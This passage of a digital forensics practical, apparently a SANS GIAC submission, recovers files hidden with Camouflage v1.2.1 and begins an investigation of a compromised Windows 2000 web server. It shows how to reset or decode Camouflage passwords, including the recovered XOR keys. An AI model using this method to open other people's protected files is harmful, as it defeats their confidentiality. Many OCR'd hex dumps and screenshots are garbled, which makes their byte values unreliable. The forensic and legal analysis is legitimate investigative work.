1A-1Bh | Starting cluster number
1C-1Fh | Next 2 characters

Table 1-13 The Long Filename Directory Entry

By observing the output of the “fsstat” command, as shown in Figure 1-16, we
know that the root directory is recorded between sector 19 and sector 32 and
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the size of each sector is 512 Bytes. We, thus, can find that the information of
the root directory starts at the offset 2600h, 19 multiplied by 512, of the image
file. As shown in Figure 1-17, that is the directory entry of the “CamShell.dIl.”
The first 32 bytes is used to record long filename and the later 32 byte is used
to record the short filename. The first byte of the long filename directory entry
is not the first character of the filename. Thus, we can still recover the full
filename information from a deleted file. Besides, we also found the directory
entry of the “_ndex.htm” at the offset 02920h. However, there is only one
directory entry to record the short filename of the “_ndex.htm”, and because
this file was deleted; thus, the first byte of the flename was set to “E5h”.

o000z ez20h: 43 00 &1 00 6D 00 53 00 &8 00 OF 00 39 &5 00 ; M .a.m.S.h...%.
0000Z630h: 00 &aC 00 ZE 00 &4 OO &C OO0 QO OO 6C OO 00 0O ; 1.1...d.1...1...
0000z 640h: 41 4D 53 45 45 4C 4C 44 4C 4C 20 00 09 C9 40 ; MEMSHELLDLL . T'?
0000z 650h: 30 Sk 30 00 00 S5 SD 43 22 02 00 00 S0 00 00 ; 27..2C+%...7.

Figure 1-17 Directory Entry of “CamShell.dII”

oooo0z9z0h: 4E 44 45 55 Z0 =20 Z0 45 54 4D 20 15 4z F2 4D ; t_%DEX HTH .Bﬁ
0000293 0h: 30 94 30 00 00 BC 56 97 30 02 00 DY 0Oz 00 00 ¢ ??..tﬁ?..?..

Figure 1-18 Directory Entry of “_ndex.htm”

After gathering information of the file system, | did the timeline analysis as
described in section 4.3 and tried to inspect the files in the image. The
following command can be used to mount image:

#mount -o loop,ro /sans/fl-260404-RJL1.img.gz /mnt/floppy/
Note that the “-0” flag specifies the options to apply to the mount; “loop” option
specifies that the loopback device is used, and “ro” option specifies that the
file system is used as read-only.
| noticed three of the files, “Internal_Lab_Security Policy.doc,”
“Password_Policy.doc” and “Remote_Access_Policy.doc,” had abnormal
Word file footers but they could still be opened by Microsoft Word correctly.
So far, | found something strange, but | still don’t know what Mr. Leszczynski
did. | tried to inspect the deleted files, and the “istat” command can be used to
show specific inode information in the image. | tried to use this command to
gather information about the deleted files. The “istat” command ran like this:

#istat —f fat /sans/fl-260505-RJL1.image.gz 5

#istat —f fat /sans/fl-260505-RJL1.image.gz 28

Screenshots are shown in Figure 1-19 and Figure 1-20:
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Figure 1-19 Screenshot of “istat” command

Figure 1-20 Screenshot of “istat” command

| found that sectors 33 and 34 of the “CamShell.dlI” have been written over by
“ ndex.htm”. That useful information can be used to infer when the
“‘CamShell.dllI” was deleted, which was discussed in section 4.3. Also, that
means even | recover the deleted “CamShell.dll”, that is still a “damaged” file.

| used “icat” command to recover the deleted files. The commands ran as
follows:

#icat —rf fat /sans/fl-260404-RJL1.img.gz 5 > CamShell.dlI

#icat —rf fat /sans/fl-260404-RJL1.img.gz 28 > _ndex.htm
By observing the recovered “_ndex.htm,” | think it is @ normal HTML file. Thus
| focused on the recovered “CamShell.dll.” | used “strings” command and
“Bintext” program to extract printable strings within the recovered

“‘CamShell.dll,” which was described in section 4.7. And, using these
keywords, | found the “Camouflage Home Page” and downloaded
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“Camouflage v1.2.1” from this website, as described in section 5. After initial
checking of the identity of the unknown binary, | set up and tested the
“Camouflage v1.2.1” under Windows analysis system. As shown in Figure 1-
21 to Figure 1-26, there is a demonstration to hide “CMD.EXE” to append to
“Dest.txt” and create a new camouflaged file, “Dest-CMD.txt.” The password,
which is set while creating the camouflaged file, will be needed when
uncamouflage camouflaged files.

Ores =il x|
Fis Edt Vew Favorbes  Took  Halp -
#=fol - = -] Dseach yFoides U5 X ooy | FH-
msl_irr.-:r :_J ._'}Gﬂ
- R ™ o]
T e W
u Badhs = Open
test Brandenbuy B Camcflage
B Uncanmoflage
CHDLEXE
wrioe Sard T I_
. Cud
odifiad: 2172003 645 AM
Cory
e 7300
Creste Shorbot
Attributes: {nomal) Celste
Rt
Fropertss

Figure 1-21 Execute the Camouflage v1.2.1

EETTSE—— =
Thit fle vl b bidden within your camouflaged fils Seltngs
Name Sige | Aftnbutes
hpe | sieny fack | Mets | Dose |

Figure 1-22 Select a file to be hidden
=100

“fout camoillaged e wall be made o look and act #e the follosng He

Camauflage Usirg IE \Dieeuments ard 5 ettngs \Adminishialon\Desklaphbes)\Det bd :EJ

Cick pees o gt the Iabast version ¢ Back ||_ﬂm> | coose |
Figure 1-23 Choose a file that camouflaged file will be made to look like
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Figure 1-24 Choose the camouflaged filename
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Figure 1-25 Set password of the camouflaged file
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_Fig'u'}e 1-26 The camouflaged file, Dest-CMD.txt.

While | was observing the “Dest-CMD.txt” through the “UltraEdit-32”, | noticed
an important clue that the file footer of the “Dest-CMD.txt” was similar to the
file footers of “Internal_Lab_Security_Policy.doc,” “Password_Policy.doc” and
“‘Remote_Access_Policy.doc,” in which | found they have abnormal file footers
in previous observations. The file footer is shown in Figure 1-27:
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0004bleOh: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2D
DOD4b1f0h: 20 20 200 20 20 20 20 20 20 20 20 20 20 20 20 2O
DOD4bZ00R: 20 20 20 20 20 2D 20 20 20 20 20 20 20 20 20 20 ;
00D4b210h: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
0004b220h: 20 20 200 20 20 20 20 20 20 20 20 20 20 20 20 2
00D4b230h: Z0 20 20 20 20 Z0 20 20 20 20 20 20 20 20 20 2
D004b240h: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 ;
D004b250h: 20 20 20 20 20 20 20 20 20 Z0D 20 20 20 20 20 ZO :
DOD4b260R: 20 Z0 20 20 20 20 20 20 20 Z0 20 20 20 20 20 2
DOD4bZTOR: 20 Z0 Z0 20 20 20 20 20 20 20 20 20 20 20 Z0 Z0
DOO4b2B0h: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
DOD4b290h: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
DDO4bZalh: 20 20 20 Z0 20 Z0 20 20 20 20 20 2 0 2 o 20
DOD4bZb0Dh: 20 Z0 20 ZD 20 20 20 20 Z0 ) 20 20 20 20 20 20 :
D0D4RZcOh: 20 20 20 20 20 20 20 20 20 20 20 74 A4 59 10 22 IZ
DDD3b2d0h: 97 20 20 20 20 20 20 20 20 20 20 20 20 20 20 e

Figure 1-27 The footer of Dest-CMD.tx

This clue seems to point out the fact that those Word files may be
camouflaged files created by “Camouflage v1.2.1.” But, for extracting hidden
files from camouflaged files, | need to know their passwords. In order to get
the passwords of these suspicious Word files, |, therefore, tried to do more
tests to create new camouflaged files with various passwords. By comparing
these files, | found a possible location that may be used to save the encoded
password. This location is beginning at the offset 275 Bytes from the end of
the file and ended with 20h. There is an example that the possible encoded
password of the “Password_Policy.doc” as shown in Figure 1-28.

0004kh1c0h: O3 00 OF GE OO0 OO0 OO0 9C 00 00 04 00 [SefuGiuu=Reil © .. .n0...7...[00
0004k 1d0h: El- 0 =0 20 20 20 20 20 20 20 20 20 20 ; peiiee
0004kh1e0h: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 ;

Figure 1-28 Possible encoded password of the “Password_Policy.doc”

After many different tests, | got the following interesting findings and |
proposed some hypotheses:

1. The encoded data do not seem to have been changed according to the
change of the password.

Hypothesis 1: The password is not the key that is used to encode
the hidden files. Therefore, | may be able to reset and bypass the
password check.

2. The length of the plaintext password and encoded password are the
same and change one character in the plaintext password will only
influence one character in the encoded password.

Hypothesis 2: Transformation from a plaintext password to an
encoded password may be mapped byte-to-byte.

3. The same character to be set in different order in the plaintext may
produce different encoded characters.

Hypothesis 3: The encoded method of the password may be
related to the order of characters.
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According to the above hypotheses, | am proposing some strategies, from a
programmers’ perspective, to work against the password:

1. Reset the password

If hypothesis 1 is true, the password of a camouflaged file is not the key
that is used to encode hidden files, the password may only be checked
before “Camouflage v1.2.1” starts to uncamouflage. Besides, we know
the password may be saved at offset 275 Bytes from the end of the file. |
attempted to reset the encoded password to 0x20 by using “UltraEdit-32”.
As shown in Figure 1-29, it is an example to reset the password of
“Password_Policy.doc™

0004blm0h: 03 00 07 6E 00 00 00 9C 00 00 04 00 ENEGEEEEER : ...o-..7. ..

ooo4abidoh: ENNEREEEEER 20 20 20 zo 20 20 20 20 20 20 20 20 ;: |

0004kle0h: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Z0 ;

Figure 1-29 Reset the password of “Password_Policy.doc”
After modifying the “Password_Policy.doc,” | executed “Camouflage
v1.2.1” and | found that | needed no password to uncamouflage
“Password_Policy.doc,” as shown in Figure 1-30. Then, | got a list of files,
as shown in Figure 1-31, which were hidden in the
“Password_Policy.doc”. | believe that was what Mr. Leszczynski wanted
to take out of R&D lab. By this way, | uncamouflaged
‘Remote_Access_Policy.doc” and | found that
“Internal_Lab_Security _Policy.doc” had no password.

i
Erber e pozveondd (1 arwf 1o muiract he ex fom the camo flaged fis :"’"4"“!
Fazmwword |
Click hse o gl the |3ies veron | Mo » | Clos= |

Figure 1-30 Need no password to uncamouflage “Password'_PoIicy.doc’

T = 101

The camoidlaged Ma jcrsated vtk Camoufiags vl 2 1] conbars these e Selact the lles you
wieh o asrael of lEawa them urkeiscied 10 adese| hen sl

Hame
| Panrword_Pobcy doc
FE M-4usl-ceHarge pg
Hyschoesrbond 2 itues 2 De sl M Dpage . g
pin_hmlzel gl
i | 13|
Clheh hee bo gel the lstest veimon Bock | Hew: | Dosn |

Figure 1-31 The list of hidden files

The method of resetting the password is easy to implement, but it has to
modify the suspicious files. However, | didn’t think it was a good idea to
modify suspicious files. |, hence, tried to find out other methods to
uncamouflage camouflaged files.
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2. Look for any other clues within the image file

At this point, we know that “Internal_Lab_Security _Policy.doc” has no
password; thus, | can extract the hidden files from this, without modifying
anything, and try to look for any other clues. The filename of the hidden
file is “Opportunity.txt,” as shown in Table 1-2. Within that file, | noticed
Mr. Leszczynski had mentioned “They are available as we discussed —

“First Name™. | attempted to use the “First Name” of each filename as the
password to uncamouflage, and successfully extracted hidden files from
“Password_Policy.doc” and “Remote_Access_Policy.doc” by using
passwords as “Password” and “Remote.” Although, by this way, | didn’t
need to modify the suspicious files, this is not a general solution to find
out camouflaged files. Thus, | have to think of other strategies.

3. Find out the password by observing the structure of camouflaged

files

If hypotheses 2 and 3 are true, | think | can get a mapping between the
plaintext password and the encoded password based on different orders.
At first, by observing the relationship between the plaintext password and
the encoded password, | got a mapping table as shown in Table 1-14.

ASCII Code | 1% character | 2" character | 3" character | 4™ character

0 0x30 0x28 0xA5 Ox4A 0x12

1 0x31 0x29 0xA4 0x4B 0x13

2 0x32 0x34 OxA7 0x48 0x10

3 0x33 0x35 O0xA6 0x49 0x11

4 0x34 0x32 OxA1 Ox4E 0x16

5 0x35 0x33 0xA0 Ox4F 0x17

6 0x36 0x38 0xA3 0x4C 0x14

7 0x37 0x39 0xA2 0x4D 0x15

8 0x38 0x36 O0xAD 0x42 0x1A

9 0x39 0x37 0xAC 0x43 0x1B
Table 1-14 A mapping table between plaintext password and encoded

password

While | was inspecting the relationship between plaintext passwords and
encoded passwords, | feel the encoded pattern of certain character order
seems like something that operates with XOR operation. The algebra of
the XOR is shown in Table 1-15:

AXORA=0

AXORO0=A

(A XOR B) XOR A = A XOR (B XOR A) = B
(A XOR B) XOR B = A XOR (B XORB) = A

Table 1-15 Algebra of XOR

Thus, | assume that the transformation between plaintext passwords and
encoded passwords is as the following:
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Plaintext
Password

Encoded
KEY::> XOR C>Password

Figure 1-32 The possible transformation between plaintext password and
encoded password

According to Table 1-15 and Figure 1-32, we can figure out the following
equation:

Plaintext; XOR Key; = Encoded,

Now, we know the plaintext password and we get the encoded password,
we can, thus, calculate Key as the following:

Key; = PlainText; XOR Encoded,
For example,

Key; = 0x30 XOR 0x28 = 0x31 XOR 0x29 =...= 0x02

Key, = 0x30 XOR 0xA5 = 0x31 XOR 0xA4 =...= 0x95

Keys = 0x30 XOR 0x4A = 0x31 XOR 0x4B =...= 0x7A

Keys = 0x30 XOR 0x12 = 0x31 XOR 0x13 =...= 0x22
Since, we figure out keys of “Camouflage v1.2.1” and we realize the
location of encoded passwords of three suspicious Word files, we,

thereby, can calculate the plaintext passwords of these Word files as in
the following table:

Key Password_Policy.doc Remote_Access_Policy.doc Internal_Lab_Security Policy.doc
Encoded Plaintext Encoded Plaintext Encoded Plaintext
Password Password Password Password Password Password

0x02 0x52 0x50 (P) 0x50 0x52 (R) Null

0x95 O0xF4 0x61 (a) 0xFO 0x65 (e)

0x7A 0x09 0x73 (s) 0x17 0x6D (m)

0x22 0x51 0x73 (s) 0x4D 0x6F (0)

0x0C 0x7B 0x77 (w) 0x78 0x74 (1)

0xA6 0xC9 0x6F (o) 0xC3 0x65 (e)

0x14 0x66 0x72 (r)

OxE1 0x85 0x64 (d)

Table 1-16 Plaintext password of three suspicious Word files

For further observation of the camouflaged files, | aware that the
filenames of the hidden files are also encoded with the same method and
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the same keys. Figure 1-33 is a summary of what | found in my
inspection of the camouflaged file structure:

Original file

Other data

Encoded filename of hidden file n
(255 Bytes)

Encoded filename of hidden filel
(255 Bytes)

Size of hidden file n(4 Bytes)
¢

[}
L

Size of hidden filel (4 Bytes)

Number of hidden files(2 Bytes)

Encoded password(255 Bytes)

Signature (20 Bytes)

Figure 1-33 The structure of a camouflaged file

Up to now, | have had enough information about camouflaged files.
Accordingly, | can write a program, “Camouflaged File Checker”, to detect
camouflaged files and then extract its password and hidden filenames.
The “Camouflaged File Checker” is written in Delphi and the full source
code is listed in Appendix 1-D. | use “Camouflaged File Checker” to
check all Word files, which | found in the image. Figure 1-34 is the result
of the “Camouflaged File Checker” and it is also a powerful evidence to
prove that “Camouflage v1.2.1” was the program Mr. Leszczynski used.
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o Camoufiaged File Checker 20040724 — ¥i-Chung Lo i = 10] =i
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Figure 1-34 Screenshot of Camouflaged File Checker
4. Reverse engineering

If all of the above strategies can not work, the last method is reverse-
engineering. But, now, | think | have enough information to identify
camouflaged files and to prove the “Camouflage v1.2.1” is the program
that Mr. Leszczynski used to hide some files into Word files. I, thus,
neglect this strategy.

7. Legal Implications

If you are able to prove that this program was executed on the system,

include brief discussion of what laws (for your specific country or region) may
have been violated, as well as the penalties that could be levied against the
subject if he or she were convicted in court. If you are unable to prove that this
program was executed, discuss why proof is not possible. If no laws were
broken, then explain how the program use may violate your organization
internal policies (for example, an acceptable use policy).

It is obvious with the findings from section 1 to section 6 of this practical to
show that Mr. Leszczynski wanted to take proprietary information out of R&D
labs of Ballard Industries. With this scenario, the following answers are based
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on the Criminal Law and Trade Secrets Act in Taiwan.

First of all, if the proprietary data had been marked as “Secret” or “Top
Secret,” then Mr. Leszczynski broke the Trade Secrets Act without any
question. The Trade Secrets Act is enacted to protect trade secrets, maintain
industrial ethics and order in competition, and balance societal and public
interests. Matters not provided for in this Act shall be governed by other laws.
Ballard Industries, therefore, can request for damages according to Article 13
of the Trade Secrets Act, and Mr. Leszczynski will be liable for the requested
damages. But, in the Trade Secrets Act, the principle of compensation is
based on “exact” damages, and they are not easy to be determined in laws.

Article 13 (The Methods of Calculating Damages)

An injured party may choose any of the following provisions to request for damages in
accordance with the preceding Article:

(1) To make a claim based upon Article 216 of the Civil Code. However, if the injured party
is unable to prove the amount of damages, the party may take as damages the amount of
profits normally expected from the use of the trade secret minus the amount of profits
earned after the misappropriation; or

(2) To request for the profits earned through the act of misappropriation from the one who
misappropriated. However, if the one who misappropriated is unable to prove the costs or
the necessary expenses, the total income gained from the act(s) of misappropriation shall
be deemed the profits.

Based on the provisions set forth in the preceding Paragraph, if an act of misappropriation
is found to be intentional, the court may, at the request of the injured party and by taking
into consideration the circumstances of the misappropriation, award an amount greater than
the actual damages, provided that the amount shall not exceed three times the amount of
the proven damages.

Table 1-35 Article 13 of the Trade Secrets Act
Second, if Mr. Leszczynski and the Ballard Industries had signed a
confidentiality agreement and had stipulated the fine for breaching of contract,
then the Ballard Industries can excise the contract to ask for compensation
and Mr. Leszczynski will be fined for breaching of contract.
Third, according to the Criminal Law, Mr. Leszczynski has violated Article 317,
which stipulates the crime of disclosing business confidentiality, and Article
318-2, which stipulates the crime of disclosing business confidentiality by
using computers or other devices. Mr. Leszczynski may be sentenced to
imprisonment for a maximum of 1.5 years.

Fourth, by disclosing accounts and passwords of clients, Mr. Leszczynski has
violated Article 359, which stipulates the crime of acquiring records of other
person in computer without any due reasons. Mr. Leszczynski may be
sentenced to imprisonment for a maximum of 5 years. But for Article 359, we
have to prove that Mr. Leszczynski has caused damages to Ballard Industries
or this article might not be applied.

8. Additional Information
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Include links to at least three outside sources that you used in your research
(not including the course material) where a reader could find additional
information.

1. The Computer Forensics Expert Witness Network
http://computerforensics.net/

2. Computer Forensics on line
http://www.shk-dplc.com/cfo/

3. The Law Enforcement and Forensic Examiner Introduction to Linux A
Beginner’s Guide
ftp://ftp.hg.nasa.gov/pub/ig/ccd/linuxintro/linuxintro-LEFE-2.0.5.pdf

4. Basic Steps in Forensics Analysis of Unix Systems
http://staff.washington.edu/dittrich/misc/forensics/

5. Forensic Analysis of a Compaq RAID-1 Array and Using dd with Encase
v3
http://www.antihackertoolkit.com/resources/020926 1.html

6. Forensic Analysis using FreeBSD
http://www.antihackertoolkit.com/resources/021010_1.html

7. Alphabetical List of Computer Forensics Products
http://www.timberlinetechnologies.com/products/forensics.html

8. Computer Evidence Processing Steps
http://www.forensics-intl.com/evidguid.html

9. Forensics on the Windows Platform, Part One
http://www.securityfocus.com/infocus/1661

10.Forensics on the Windows Platform, Part Two
http://www.securityfocus.com/infocus/1665

11.Windows Forensics: A Case Study, Part One
http://www.securityfocus.com/infocus/1653

12.Windows Forensics: A Case Study, Part Two
http://www.securityfocus.com/infocus/1672

13.Internet Resources For Computer Forensics
http://faculty.ncwc.edu/toconnor/426/426links.htm
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Part 2 - Perform Forensic Analysis on a System

1. Synopsis of Case Facts

The system, which | performed forensic analysis on, is a web server that runs
on Windows 2000 Server. For the limitation of resources, this system is set up
within a Windows 2000 VMware host system. On June 8, 2004, the system
administrator, a friend of mine, found some strange connections from the
firewall log as shown in Table 2-1. In this table, the IP address of the web
server is 172.16.1.8 and for privacy sake, parts of the destination IP address
are changed into characters.

Jun 8 08:22:21 Firewall_Log_PotOut IN=eth1 OUT=eth0_SRC=172.16.1.8 DST=210.AAA.BBB.CCC LEN=48
TOS=0x00 PREC=0x00 TTL=127 ID=13721 DF PROTO=TCP SPT=4871 DPT=445 WINDOW=16384 RES=0x00
SYN URGP=0

Jun 8 08:22:21 Firewall_Log_PotOut IN=eth1 OUT=eth0 SRC=172.16.1.8 DST=210.AAA.BBB.CCC LEN=48
TOS=0x00 PREC=0x00 TTL=127 ID=13722 DF PROTO=TCP SPT=4872 DPT=139 WINDOW=16384 RES=0x00
SYN URGP=0

Jun 8 08:45:25 Firewall_Log_PotOut IN=eth1 OUT=eth0 SRC=172.16.1.8 DST=140.DDD.EEE.FFF LEN=48
TOS=0x00 PREC=0x00 TTL=127 ID=15259 DF PROTO=TCP SPT=4873 DPT=5783 WINDOW=16384 RES=0x00
SYN URGP=0

Jun 8 08:55:07 Firewall_Log_PotOut IN=eth1 OUT=eth0 SRC=172.16.1.8 DST=140.DDD.EEE.FFF LEN=48
TOS=0x00 PREC=0x00 TTL=127 ID=16510 DF PROTO=TCP SPT=4877 DPT=80 WINDOW=16384 RES=0x00
SYN URGP=0

Jun 8 08:56:02 Firewall_Log_PotOut IN=eth1 OUT=eth0 SRC=172.16.1.8 DST=140.DDD.EEE.FFF LEN=48
TOS=0x00 PREC=0x00 TTL=127 ID=16789 DF PROTO=TCP SPT=4878 DPT=80 WINDOW=16384 RES=0x00
SYN URGP=0

Jun 8 09:08:05 Firewall_Log_PotOut IN=eth1 OUT=eth0 SRC=172.16.1.8 DST=140.DDD.EEE.FFF LEN=48
TOS=0x00 PREC=0x00 TTL=127 ID=17492 DF PROTO=TCP SPT=4880 DPT=80 WINDOW=16384 RES=0x00
SYN URGP=0

Table 2-1 Parts of a firewall log

Based on those logs, the system administrator doubted that the web server
might be compromised but he could not discover any clue to prove that.

On June 26, 2004, | received a phone call from the system administrator who
wanted me to help him find out the potential problem of his system. A forensic
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examination, thus, is established to determine the possible methods that the
hacker(s) used to compromise the system and to confirm whether or not any
unauthorized code has been installed and executed on the system.

2. Describe the system(s) will be analyzing

Because of the limitation of the resources, the web server runs within a
VMware machine. It is a traditional Chinese edition Windows 2000 server and
has one 10 Mb virtual Ethernet adapter which runs in the bridge mode. Note
that the “real” Ethernet adapter is used only for this VMware machine.

The network environment is as shown in the following:

Intermet

Figure 2-1 Network environment

Note that because the operation system is a traditional Chinese edition, some
information extracted from the victim system will, no doubt, be presented in
traditional Chinese and, for privacy reason, | have changed some names of
the system to “VICTIM” in the following paragraphs.

3. Hardware

The computer system consisted of two Pentium Il 1.4Ghz processors, 2GB
RAM, a 73GB SCSI hard drive, an internal 24X CD drive, an internal 3.5”
floppy drive and four 10/100Mb Intel 82550 Ethernet cards.

Tag# Description Serial#
001_06262004 | Acer Altos R500 TACO0XXX

Intel Pentium 111 1.4 GHz x 2
2 GB SDRAM

Internal 24X CD drive
Internal 3.5” floppy drive

10/100 Intel 82550 Ethernet card x 4
002_06262004 | Seagate SCSI 73GB hard drive 3EK27XXX
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| Model #ST373405LC |

Table 2-2 Hardware inventory

Items 001_06262004 and 002_06262004 were seized from a small server
farm owned by Mr. Lin on June 26, 2004 at 10:45.

4. Image Media

To analyze this Web Server, | prepare a forensic computer and set up two
VMware machine on it. One of them runs Windows 2000 Professional and the
other runs Red Hat Fedora Core 1. First of all, the forensic computer
configures on the same subnet as the Web Server to seize the forensic image
and the run-time information. The IP of the Web server is 172.16.1.8 and the
forensic computer is set to 172.16.1.1 and both PCs are plugged into a
portable hub immediately.

On the Web Server a “cmd.exe” is launched from the network share of the
forensic computer. This command runs as follows:

\172.16.1.1\c$\sans\tools\cmd.exe

Besides, within this network share, there are also some utilities being used to
gather the forensic image and the run-time information of the Web Server.

The following instruction is used to gather the forensic image of the victim
system.

\172.16.1.1\c$\sans\tools\dd if=\\.\Physicaldrive0

of=\\172.16.1.1\c$\sans\20040626\disk20040626.img --md5sum --verifymd5
--md5out=\\172.16.1.1\c$\sans\20040626\disk20040626.md5
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Figure 2-2 A screenshot of dd.exe

To gather the run-time information of the Web Server, the following
instructions are executed:

\172.16.1.1\c$\sans\tools\pslist > \\172.16.1.1\c$\sans\20040626\pslist.txt
\172.16.1.1\c$\sans\tools\listdlls > \\172.16.1.1\c$\sans\20040626\listdll.txt

\172.16.1.1\c$\sans\tools\volume_dump \\.\c:\ >
\172.16.1.1\c$\sans\20040626\volume_dump.txt

\172.16.1.1\c$\sans\tools\fport > \\172.16.1.1\c$\sans\20040626\fport.txt

\172.16.1.1\c$\sans\tools\netstat -na >
\172.16.1.1\c$\sans\20040626\netstat.txt

\172.16.1.1\c$\sans\tools\psservice
>\172.16.1.1\c$\sans\20040626\psservice.txt

\\172.16.1.1\c$\sans\tools\net user
>\172.16.1.1\c$\sans\20040626\net_user.txt

\\172.16.1.1\c$\sans\tools\net Administrator
>\172.16.1.1\c$\sans\20040626\net_user_Administrator.txt

\172.16.1.1\c$\sans\tools\net Guest
>\172.16.1.1\c$\sans\20040626\net_user_Guest.txt
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\172.16.1.1\c$\sans\tools\net IUSR_VICTIM
>\172.16.1.1\c$\sans\20040626\net_user IUSR_VICTIM.txt

\172.16.1.1\c$\sans\tools\net IWVAM_VICTIM
>\172.16.1.1\c$\sans\20040626\net_user IWAM_VICTIM.txt

\172.16.1.1\c$\sans\tools\net SQLDebugger
>\\172.16.1.1\c$\sans\20040626\net_user_SQLDebugger.txt

\\172.16.1.1\c$\sans\tools\net TsInternetUser
>\172.16.1.1\c$\sans\20040626\net_user_TsInternetUser.txt

\172.16.1.1\c$\sans\tools\net localgroup >
\172.16.1.1\c$\sans\20040626\net_localgroup.txt

\172.16.1.1\c$\sans\tools\net localgroup administrators
>\172.16.1.1\c$\sans\20040626\net_localgroup_administrators.txt

\172.16.1.1\c$\sans\tools\psinfo /h /s /d >
\172.16.1.1\c$\sans\20040626\psinfo.txt

\172.16.1.1\c$\sans\tools\psloglist app>
\172.16.1.1\c$\sans\20040626\psloglist_app.txt

\172.16.1.1\c$\sans\tools\psloglist sec>
\172.16.1.1\c$\sans\20040626\psloglist_sec.txt

\172.16.1.1\c$\sans\tools\psloglist sys>
\172.16.1.1\c$\sans\20040626\psloglist_sys.txt

5. Media Analysis of System

5.1 Review run-time information of the Web Server

First of all, | reviewed the run-time information gathered from the Web Server.
The system information of this server is shown in Table 2-3, which includes

the information of installed hotfixes and installed software.

System information for \WICTIM:

Uptime: 0 days 0 hours 18 minutes 47 seconds

Kernel version: Microsoft Windows 2000, Uniprocessor Free
Product type: Server

Product version: 5.0
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Service pack: 4

Kernel build number: 2195

Registered organization: VICTIM

Volume Type Format Label

A: Removable

C:Fixed NTFS

D: CD-ROM

OS Hot Fix Installed

KB329115  2003/11/12

KB820888  2003/10/24

KB822831  2003/8/14

KB823182  2003/10/16

KB823559  2003/8/14

KB823980  2003/8/7

KB824105  2003/9/4

KB824141  2003/10/16

KB824146  2003/9/12

KB825119  2003/10/16

KB826232  2003/10/16

Registered owner: VICTIM

Install date: 2003/8/7, ___04:57:57
Activation status: Not applicable

IE version: 6.0000

System root: CAWINNT

Processors: 1

Processor speed: 1.4 GHz

Processor type: Intel(R) Pentium(R) 1ll CPU
Physical memory: 256 MB

Video driver: VMware SVGA Il

Size Free Free

0%

20GB 7629MB 37%

0%
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KB828028  2004/2/11

KB828035 2003/10/16

KB828749  2003/11/12

KB829558  2003/10/24

Q147222 2003/8/7

Q828026 2003/10/24

ServicePackUninstall 2003/8/7

Applications:

ISC BIND

Internet Explorer Q832894

Microsoft Baseline Security Analyzer 1.1.1

Microsoft Internet Explorer 6 SP1

Microsoft SQL Server 2000 8.00.761

Outlook Express Update Q330994

VMware Tools

WebFldrs 9.00.3501

Windows 2000 Hotfix - KB329115 20031024.155236

Windows 2000 Hotfix - KB820888 20030604.152521

Windows 2000 Hotfix - KB822831 20030611.114034

Windows 2000 Hotfix - KB823182 20030618.121409

Windows 2000 Hotfix - KB823559 20030627.135515

Windows 2000 Hotfix - KB823980 20030705.101654

Windows 2000 Hotfix - KB824105 20030716.151320

Windows 2000 Hotfix - KB824141 20030805.151423

Windows 2000 Hotfix - KB824146 20030823.144456

Windows 2000 Hotfix - KB825119 20030827.151123

Windows 2000 Hotfix - KB826232 20031007.160553

Windows 2000 Hotfix - KB828028 20040122.114409

Windows 2000 Hotfix - KB828035 20031002.141358

Windows 2000 Hotfix - KB828749 20031023.124056
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Windows 2000 Hotfix - KB829558 20030929.142857

Windows Media Player Hotfix [ wm828026

Table 2-3 The system Information of the Web Server

When | reviewed the above information, | found something strange that
TsInternetUser had become a member of the “administrators” group as shown
in Table 2-4.

administrators

Administrators /

Administrator

TslnternetUser

Table 2-4 The information of administrators group

Moreover, | also noticed that the last time the password of the TsInternetUser
was changed on May 28, 2004 at 04:59 pm and the last time TsInternetUser
logged on was on May 31, 2004 at 8:14 am as shown in Table 2-5.

TslnternetUser

TsinternetUser

_ 000 (System Default)

Yes

Never

2004/5/28 __04:59

Never

2004/5/28 __04:59

© SANS Institute 2004, As part of GIAC practical repository. Authr retains full rights.



No

No

All

2004/5/31 __08:14

All

*Administrators *Guests

*None

Table 2-5 The information about the TsinternetUser

The “normal” TsinternetUser is used by the Terminal Services Internet
Connector License and it belongs to Guests group only. Based on this
information, | know that the Web Server had been compromised and the
hacker(s) had logged on by using the TsInternetUser account.

After that, | reviewed the event logs and found some suspicious logon and
logoff events and event logs that had once been cleared by using the
Administrator account on May 28, 2004 at 23:15:54. Those events will be
discussed in Section 6.

5.2 Registry analysis

After reviewing the run-time information, | mounted the forensic image and
started locating possible clues. First of all, | observed all logs of the web
service and of the ftp service. |, however, did not discover any interesting
things. Then | went for another possibility and did Registry analysis.

The Registry is a database which contains extended information, settings and
other various values for the Microsoft Windows systems. In Windows 2000
and Windows XP, the Registry is stored in several Hive files, located in the
“%windir%\system32\config\” subdirectory and “\Documents and
Settings\{UserName}\NTUSER.DAT.” To analyze the Registry of the Web
Server, | copied those files to the forensic computer.
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The “RegistryWorkshop” is an advanced registry editor, which can be used to
load Hive files. Moreover, it can retrieve the LastWrite time from a Registry
Key. | downloaded the “RegistryWorkshop” from
“http://lwww.torchsoft.com/en/download.html,” which is a 30-day trial version.
A screenshot of the “RegistryWorkshop” is shown in Figure 2-3.

* " Regutry Workshop - [FC] : =101 x|
Eile FEid Yew Semch Fovones Jook Window [Help
AW shl X vo @mE-&- FAD2 A2 2
PC | b e
Eere x | | Hume [ Type [ Dsls | Sie| Time ] 'g"‘
= 2} Rageky CIHEEY_CLARES ROOT liey 0031270 133235
) HEEY CLASSES ROOT CIHEEY _CURRENT COMFG Key 20034 2640 125059 L
+ (") HEEY_CURRENT_UZER _JHEEY_CURRENT_UZER Kew 200311250 135234
2 ) HEEY _LOCAL_MACHINE CIHEEY_LOCAL _MACHINE Kev D000 200045
i 1 HKEY_UZERS CIHEEY_USERS Key 2004830 2000 A5

%) HEEY CURRENT COMPIG

Time | hetion

i !Hu:l:\nl 3 Fuul Eesifs |

Ken '.5 Wilaes [

Figure 2-3 A screenshot of the RegistryWorkshop

By employing the “RegistryWorkshop,” | got some interesting findings. In the
following paragraphs, from section 5.2.1 to section 5.2.4, | will illustrate what |
have found from the “NTUSER.DAT” of the Administrator, the “NTUSER.DAT”
of the TsInternetUser, the “C:\WINNT\system32\config\system” and the
“C:\WINNT\system32\config\software.”

5.2.1 The NTUSER.DAT of the Administrator

[HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client]

